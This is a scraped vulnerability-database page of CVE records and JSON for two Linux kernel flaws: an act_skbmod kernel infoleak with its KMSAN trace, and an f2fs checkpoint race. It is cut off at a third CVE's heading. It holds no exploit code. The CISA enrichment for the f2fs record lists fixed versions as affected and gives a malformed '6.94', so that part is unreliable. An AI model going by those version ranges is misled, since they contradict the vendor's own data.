netlink_rcv_skb+0x375/0x650 net/netlink/af_netli ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/f190a4aa03cbd518b…
https://git.kernel.org/stable/c/f356eb2fb567e0931…
https://git.kernel.org/stable/c/5e45dc4408857305f…
https://git.kernel.org/stable/c/a097fc199ab5f4b53…
https://git.kernel.org/stable/c/55d3fe7b2b7bc354e…
https://git.kernel.org/stable/c/729ad2ac2a2cdc9f4…
https://git.kernel.org/stable/c/7bb2c7103d8c13b06…
https://git.kernel.org/stable/c/d313eb8b77557a6d5…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 86da71b57383d40993cb90baafb3735cffe5d800 , < f190a4aa03cbd518bd9c62a66e1233984f5fd2ec (git) Affected: 86da71b57383d40993cb90baafb3735cffe5d800 , < f356eb2fb567e0931143ac1769ac802d3b3e2077 (git) Affected: 86da71b57383d40993cb90baafb3735cffe5d800 , < 5e45dc4408857305f4685abfd7a528a1e58b51b5 (git) Affected: 86da71b57383d40993cb90baafb3735cffe5d800 , < a097fc199ab5f4b5392c5144034c0d2148b55a14 (git) Affected: 86da71b57383d40993cb90baafb3735cffe5d800 , < 55d3fe7b2b7bc354e7cbc1f7b8f98a29ccd5a366 (git) Affected: 86da71b57383d40993cb90baafb3735cffe5d800 , < 729ad2ac2a2cdc9f4a4bdfd40bfd276e6bc33924 (git) Affected: 86da71b57383d40993cb90baafb3735cffe5d800 , < 7bb2c7103d8c13b06a57bf997b8cdbe93cd7283c (git) Affected: 86da71b57383d40993cb90baafb3735cffe5d800 , < d313eb8b77557a6d5855f42d2234bd592c7b50dd (git)
Linux	Linux	Affected: 4.9 Unaffected: 0 , < 4.9 (semver) Unaffected: 4.19.312 , ≤ 4.19.* (semver) Unaffected: 5.4.274 , ≤ 5.4.* (semver) Unaffected: 5.10.215 , ≤ 5.10.* (semver) Unaffected: 5.15.154 , ≤ 5.15.* (semver) Unaffected: 6.1.85 , ≤ 6.1.* (semver) Unaffected: 6.6.26 , ≤ 6.6.* (semver) Unaffected: 6.8.5 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35893",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-23T19:31:02.298124Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:34:34.282Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T03:21:48.968Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f190a4aa03cbd518bd9c62a66e1233984f5fd2ec"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f356eb2fb567e0931143ac1769ac802d3b3e2077"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5e45dc4408857305f4685abfd7a528a1e58b51b5"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a097fc199ab5f4b5392c5144034c0d2148b55a14"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/55d3fe7b2b7bc354e7cbc1f7b8f98a29ccd5a366"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/729ad2ac2a2cdc9f4a4bdfd40bfd276e6bc33924"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/7bb2c7103d8c13b06a57bf997b8cdbe93cd7283c"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d313eb8b77557a6d5855f42d2234bd592c7b50dd"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00020.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:52:28.473Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/sched/act_skbmod.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f190a4aa03cbd518bd9c62a66e1233984f5fd2ec",
              "status": "affected",
              "version": "86da71b57383d40993cb90baafb3735cffe5d800",
              "versionType": "git"
            },
            {
              "lessThan": "f356eb2fb567e0931143ac1769ac802d3b3e2077",
              "status": "affected",
              "version": "86da71b57383d40993cb90baafb3735cffe5d800",
              "versionType": "git"
            },
            {
              "lessThan": "5e45dc4408857305f4685abfd7a528a1e58b51b5",
              "status": "affected",
              "version": "86da71b57383d40993cb90baafb3735cffe5d800",
              "versionType": "git"
            },
            {
              "lessThan": "a097fc199ab5f4b5392c5144034c0d2148b55a14",
              "status": "affected",
              "version": "86da71b57383d40993cb90baafb3735cffe5d800",
              "versionType": "git"
            },
            {
              "lessThan": "55d3fe7b2b7bc354e7cbc1f7b8f98a29ccd5a366",
              "status": "affected",
              "version": "86da71b57383d40993cb90baafb3735cffe5d800",
              "versionType": "git"
            },
            {
              "lessThan": "729ad2ac2a2cdc9f4a4bdfd40bfd276e6bc33924",
              "status": "affected",
              "version": "86da71b57383d40993cb90baafb3735cffe5d800",
              "versionType": "git"
            },
            {
              "lessThan": "7bb2c7103d8c13b06a57bf997b8cdbe93cd7283c",
              "status": "affected",
              "version": "86da71b57383d40993cb90baafb3735cffe5d800",
              "versionType": "git"
            },
            {
              "lessThan": "d313eb8b77557a6d5855f42d2234bd592c7b50dd",
              "status": "affected",
              "version": "86da71b57383d40993cb90baafb3735cffe5d800",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/sched/act_skbmod.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.9"
            },
            {
              "lessThan": "4.9",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "4.19.*",
              "status": "unaffected",
              "version": "4.19.312",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.274",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.215",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.154",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.85",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.26",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "4.19.312",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.274",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.215",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.154",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.85",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.26",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.5",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "4.9",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/sched: act_skbmod: prevent kernel-infoleak\n\nsyzbot found that tcf_skbmod_dump() was copying four bytes\nfrom kernel stack to user space [1].\n\nThe issue here is that \u0027struct tc_skbmod\u0027 has a four bytes hole.\n\nWe need to clear the structure before filling fields.\n\n[1]\nBUG: KMSAN: kernel-infoleak in instrument_copy_to_user include/linux/instrumented.h:114 [inline]\n BUG: KMSAN: kernel-infoleak in copy_to_user_iter lib/iov_iter.c:24 [inline]\n BUG: KMSAN: kernel-infoleak in iterate_ubuf include/linux/iov_iter.h:29 [inline]\n BUG: KMSAN: kernel-infoleak in iterate_and_advance2 include/linux/iov_iter.h:245 [inline]\n BUG: KMSAN: kernel-infoleak in iterate_and_advance include/linux/iov_iter.h:271 [inline]\n BUG: KMSAN: kernel-infoleak in _copy_to_iter+0x366/0x2520 lib/iov_iter.c:185\n  instrument_copy_to_user include/linux/instrumented.h:114 [inline]\n  copy_to_user_iter lib/iov_iter.c:24 [inline]\n  iterate_ubuf include/linux/iov_iter.h:29 [inline]\n  iterate_and_advance2 include/linux/iov_iter.h:245 [inline]\n  iterate_and_advance include/linux/iov_iter.h:271 [inline]\n  _copy_to_iter+0x366/0x2520 lib/iov_iter.c:185\n  copy_to_iter include/linux/uio.h:196 [inline]\n  simple_copy_to_iter net/core/datagram.c:532 [inline]\n  __skb_datagram_iter+0x185/0x1000 net/core/datagram.c:420\n  skb_copy_datagram_iter+0x5c/0x200 net/core/datagram.c:546\n  skb_copy_datagram_msg include/linux/skbuff.h:4050 [inline]\n  netlink_recvmsg+0x432/0x1610 net/netlink/af_netlink.c:1962\n  sock_recvmsg_nosec net/socket.c:1046 [inline]\n  sock_recvmsg+0x2c4/0x340 net/socket.c:1068\n  __sys_recvfrom+0x35a/0x5f0 net/socket.c:2242\n  __do_sys_recvfrom net/socket.c:2260 [inline]\n  __se_sys_recvfrom net/socket.c:2256 [inline]\n  __x64_sys_recvfrom+0x126/0x1d0 net/socket.c:2256\n do_syscall_64+0xd5/0x1f0\n entry_SYSCALL_64_after_hwframe+0x6d/0x75\n\nUninit was stored to memory at:\n  pskb_expand_head+0x30f/0x19d0 net/core/skbuff.c:2253\n  netlink_trim+0x2c2/0x330 net/netlink/af_netlink.c:1317\n  netlink_unicast+0x9f/0x1260 net/netlink/af_netlink.c:1351\n  nlmsg_unicast include/net/netlink.h:1144 [inline]\n  nlmsg_notify+0x21d/0x2f0 net/netlink/af_netlink.c:2610\n  rtnetlink_send+0x73/0x90 net/core/rtnetlink.c:741\n  rtnetlink_maybe_send include/linux/rtnetlink.h:17 [inline]\n  tcf_add_notify net/sched/act_api.c:2048 [inline]\n  tcf_action_add net/sched/act_api.c:2071 [inline]\n  tc_ctl_action+0x146e/0x19d0 net/sched/act_api.c:2119\n  rtnetlink_rcv_msg+0x1737/0x1900 net/core/rtnetlink.c:6595\n  netlink_rcv_skb+0x375/0x650 net/netlink/af_netlink.c:2559\n  rtnetlink_rcv+0x34/0x40 net/core/rtnetlink.c:6613\n  netlink_unicast_kernel net/netlink/af_netlink.c:1335 [inline]\n  netlink_unicast+0xf4c/0x1260 net/netlink/af_netlink.c:1361\n  netlink_sendmsg+0x10df/0x11f0 net/netlink/af_netlink.c:1905\n  sock_sendmsg_nosec net/socket.c:730 [inline]\n  __sock_sendmsg+0x30f/0x380 net/socket.c:745\n  ____sys_sendmsg+0x877/0xb60 net/socket.c:2584\n  ___sys_sendmsg+0x28d/0x3c0 net/socket.c:2638\n  __sys_sendmsg net/socket.c:2667 [inline]\n  __do_sys_sendmsg net/socket.c:2676 [inline]\n  __se_sys_sendmsg net/socket.c:2674 [inline]\n  __x64_sys_sendmsg+0x307/0x4a0 net/socket.c:2674\n do_syscall_64+0xd5/0x1f0\n entry_SYSCALL_64_after_hwframe+0x6d/0x75\n\nUninit was stored to memory at:\n  __nla_put lib/nlattr.c:1041 [inline]\n  nla_put+0x1c6/0x230 lib/nlattr.c:1099\n  tcf_skbmod_dump+0x23f/0xc20 net/sched/act_skbmod.c:256\n  tcf_action_dump_old net/sched/act_api.c:1191 [inline]\n  tcf_action_dump_1+0x85e/0x970 net/sched/act_api.c:1227\n  tcf_action_dump+0x1fd/0x460 net/sched/act_api.c:1251\n  tca_get_fill+0x519/0x7a0 net/sched/act_api.c:1628\n  tcf_add_notify_msg net/sched/act_api.c:2023 [inline]\n  tcf_add_notify net/sched/act_api.c:2042 [inline]\n  tcf_action_add net/sched/act_api.c:2071 [inline]\n  tc_ctl_action+0x1365/0x19d0 net/sched/act_api.c:2119\n  rtnetlink_rcv_msg+0x1737/0x1900 net/core/rtnetlink.c:6595\n  netlink_rcv_skb+0x375/0x650 net/netlink/af_netli\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:13:17.005Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f190a4aa03cbd518bd9c62a66e1233984f5fd2ec"
        },
        {
          "url": "https://git.kernel.org/stable/c/f356eb2fb567e0931143ac1769ac802d3b3e2077"
        },
        {
          "url": "https://git.kernel.org/stable/c/5e45dc4408857305f4685abfd7a528a1e58b51b5"
        },
        {
          "url": "https://git.kernel.org/stable/c/a097fc199ab5f4b5392c5144034c0d2148b55a14"
        },
        {
          "url": "https://git.kernel.org/stable/c/55d3fe7b2b7bc354e7cbc1f7b8f98a29ccd5a366"
        },
        {
          "url": "https://git.kernel.org/stable/c/729ad2ac2a2cdc9f4a4bdfd40bfd276e6bc33924"
        },
        {
          "url": "https://git.kernel.org/stable/c/7bb2c7103d8c13b06a57bf997b8cdbe93cd7283c"
        },
        {
          "url": "https://git.kernel.org/stable/c/d313eb8b77557a6d5855f42d2234bd592c7b50dd"
        }
      ],
      "title": "net/sched: act_skbmod: prevent kernel-infoleak",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-35893",
    "datePublished": "2024-05-19T08:34:48.737Z",
    "dateReserved": "2024-05-17T13:50:33.113Z",
    "dateUpdated": "2026-05-12T11:52:28.473Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-34027 (GCVE-0-2024-34027)

Vulnerability from cvelistv5 – Published: 2024-06-24 13:56 – Updated: 2026-05-12 11:51

Title

f2fs: compress: fix to cover {reserve,release}_compress_blocks() w/ cp_rwsem lock

Summary

In the Linux kernel, the following vulnerability has been resolved: f2fs: compress: fix to cover {reserve,release}_compress_blocks() w/ cp_rwsem lock It needs to cover {reserve,release}_compress_blocks() w/ cp_rwsem lock to avoid racing with checkpoint, otherwise, filesystem metadata including blkaddr in dnode, inode fields and .total_valid_block_count may be corrupted after SPO case.

Severity ?

7 (High)


                        
                          CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-770 - Allocation of Resources Without Limits or Throttling

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/a6e1f7744e9b84f86…
https://git.kernel.org/stable/c/b5bac43875aa27ec0…
https://git.kernel.org/stable/c/5d47d638837357188…
https://git.kernel.org/stable/c/329edb7c9e3b6ca27…
https://git.kernel.org/stable/c/69136304fd144144a…
https://git.kernel.org/stable/c/0a4ed2d97cb6d0441…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: ef8d563f184e1112651f2cbde383d43e599334e8 , < a6e1f7744e9b84f86a629a76024bba8468aa153b (git) Affected: ef8d563f184e1112651f2cbde383d43e599334e8 , < b5bac43875aa27ec032dbbb86173baae6dce6182 (git) Affected: ef8d563f184e1112651f2cbde383d43e599334e8 , < 5d47d63883735718825ca2efc4fca6915469774f (git) Affected: ef8d563f184e1112651f2cbde383d43e599334e8 , < 329edb7c9e3b6ca27e6ca67ab1cdda1740fb3a2b (git) Affected: ef8d563f184e1112651f2cbde383d43e599334e8 , < 69136304fd144144a4828c7b7b149d0f80321ba4 (git) Affected: ef8d563f184e1112651f2cbde383d43e599334e8 , < 0a4ed2d97cb6d044196cc3e726b6699222b41019 (git)
Linux	Linux	Affected: 5.8 Unaffected: 0 , < 5.8 (semver) Unaffected: 5.10.219 , ≤ 5.10.* (semver) Unaffected: 5.15.161 , ≤ 5.15.* (semver) Unaffected: 6.1.93 , ≤ 6.1.* (semver) Unaffected: 6.6.33 , ≤ 6.6.* (semver) Unaffected: 6.9.4 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "a6e1f7744e9b",
                "status": "affected",
                "version": "c75488fb4d82",
                "versionType": "git"
              },
              {
                "lessThan": "b5bac43875aa",
                "status": "affected",
                "version": "c75488fb4d82",
                "versionType": "git"
              },
              {
                "lessThan": "5d47d6388373",
                "status": "affected",
                "version": "c75488fb4d82",
                "versionType": "git"
              },
              {
                "lessThan": "329edb7c9e3b",
                "status": "affected",
                "version": "c75488fb4d82",
                "versionType": "git"
              },
              {
                "lessThan": "69136304fd14",
                "status": "affected",
                "version": "c75488fb4d82",
                "versionType": "git"
              },
              {
                "lessThan": "0a4ed2d97cb6",
                "status": "affected",
                "version": "c75488fb4d82",
                "versionType": "git"
              },
              {
                "status": "affected",
                "version": "5.8"
              },
              {
                "lessThan": "5.8",
                "status": "affected",
                "version": "0",
                "versionType": "semver"
              },
              {
                "lessThanOrEqual": "5.10*",
                "status": "affected",
                "version": "5.10.219",
                "versionType": "semver"
              },
              {
                "lessThanOrEqual": "6.1*",
                "status": "affected",
                "version": "6.1.93",
                "versionType": "semver"
              },
              {
                "lessThanOrEqual": "6.6*",
                "status": "affected",
                "version": "6.6.33",
                "versionType": "semver"
              },
              {
                "lessThanOrEqual": "6.9*",
                "status": "affected",
                "version": "6.94",
                "versionType": "semver"
              },
              {
                "lessThanOrEqual": "*",
                "status": "affected",
                "version": "6.10",
                "versionType": "semver"
              },
              {
                "lessThanOrEqual": "5.15*",
                "status": "affected",
                "version": "5.15.161",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "HIGH",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-34027",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-11-05T14:50:20.784869Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-770",
                "description": "CWE-770 Allocation of Resources Without Limits or Throttling",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-11-05T15:02:49.178Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T02:42:59.794Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/a6e1f7744e9b84f86a629a76024bba8468aa153b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/b5bac43875aa27ec032dbbb86173baae6dce6182"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/5d47d63883735718825ca2efc4fca6915469774f"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/329edb7c9e3b6ca27e6ca67ab1cdda1740fb3a2b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/69136304fd144144a4828c7b7b149d0f80321ba4"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/0a4ed2d97cb6d044196cc3e726b6699222b41019"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:51:57.302Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "fs/f2fs/file.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "a6e1f7744e9b84f86a629a76024bba8468aa153b",
              "status": "affected",
              "version": "ef8d563f184e1112651f2cbde383d43e599334e8",
              "versionType": "git"
            },
            {
              "lessThan": "b5bac43875aa27ec032dbbb86173baae6dce6182",
              "status": "affected",
              "version": "ef8d563f184e1112651f2cbde383d43e599334e8",
              "versionType": "git"
            },
            {
              "lessThan": "5d47d63883735718825ca2efc4fca6915469774f",
              "status": "affected",
              "version": "ef8d563f184e1112651f2cbde383d43e599334e8",
              "versionType": "git"
            },
            {
              "lessThan": "329edb7c9e3b6ca27e6ca67ab1cdda1740fb3a2b",
              "status": "affected",
              "version": "ef8d563f184e1112651f2cbde383d43e599334e8",
              "versionType": "git"
            },
            {
              "lessThan": "69136304fd144144a4828c7b7b149d0f80321ba4",
              "status": "affected",
              "version": "ef8d563f184e1112651f2cbde383d43e599334e8",
              "versionType": "git"
            },
            {
              "lessThan": "0a4ed2d97cb6d044196cc3e726b6699222b41019",
              "status": "affected",
              "version": "ef8d563f184e1112651f2cbde383d43e599334e8",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "fs/f2fs/file.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.8"
            },
            {
              "lessThan": "5.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.219",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.161",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.93",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.33",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.4",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.219",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.161",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.93",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.33",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.4",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: compress: fix to cover {reserve,release}_compress_blocks() w/ cp_rwsem lock\n\nIt needs to cover {reserve,release}_compress_blocks() w/ cp_rwsem lock\nto avoid racing with checkpoint, otherwise, filesystem metadata including\nblkaddr in dnode, inode fields and .total_valid_block_count may be\ncorrupted after SPO case."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:10:54.703Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/a6e1f7744e9b84f86a629a76024bba8468aa153b"
        },
        {
          "url": "https://git.kernel.org/stable/c/b5bac43875aa27ec032dbbb86173baae6dce6182"
        },
        {
          "url": "https://git.kernel.org/stable/c/5d47d63883735718825ca2efc4fca6915469774f"
        },
        {
          "url": "https://git.kernel.org/stable/c/329edb7c9e3b6ca27e6ca67ab1cdda1740fb3a2b"
        },
        {
          "url": "https://git.kernel.org/stable/c/69136304fd144144a4828c7b7b149d0f80321ba4"
        },
        {
          "url": "https://git.kernel.org/stable/c/0a4ed2d97cb6d044196cc3e726b6699222b41019"
        }
      ],
      "title": "f2fs: compress: fix to cover {reserve,release}_compress_blocks() w/ cp_rwsem lock",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-34027",
    "datePublished": "2024-06-24T13:56:49.389Z",
    "dateReserved": "2024-06-24T13:54:11.051Z",
    "dateUpdated": "2026-05-12T11:51:57.302Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-26961 (GCVE-0-2024-26961)

Vulnerability from cvelistv5 – Published: 2024-05-01 05:19 – Updated: 2026-05-12 11:50

Title

mac802154: fix llsec key resources release in mac802154_llsec_key_del

Summary

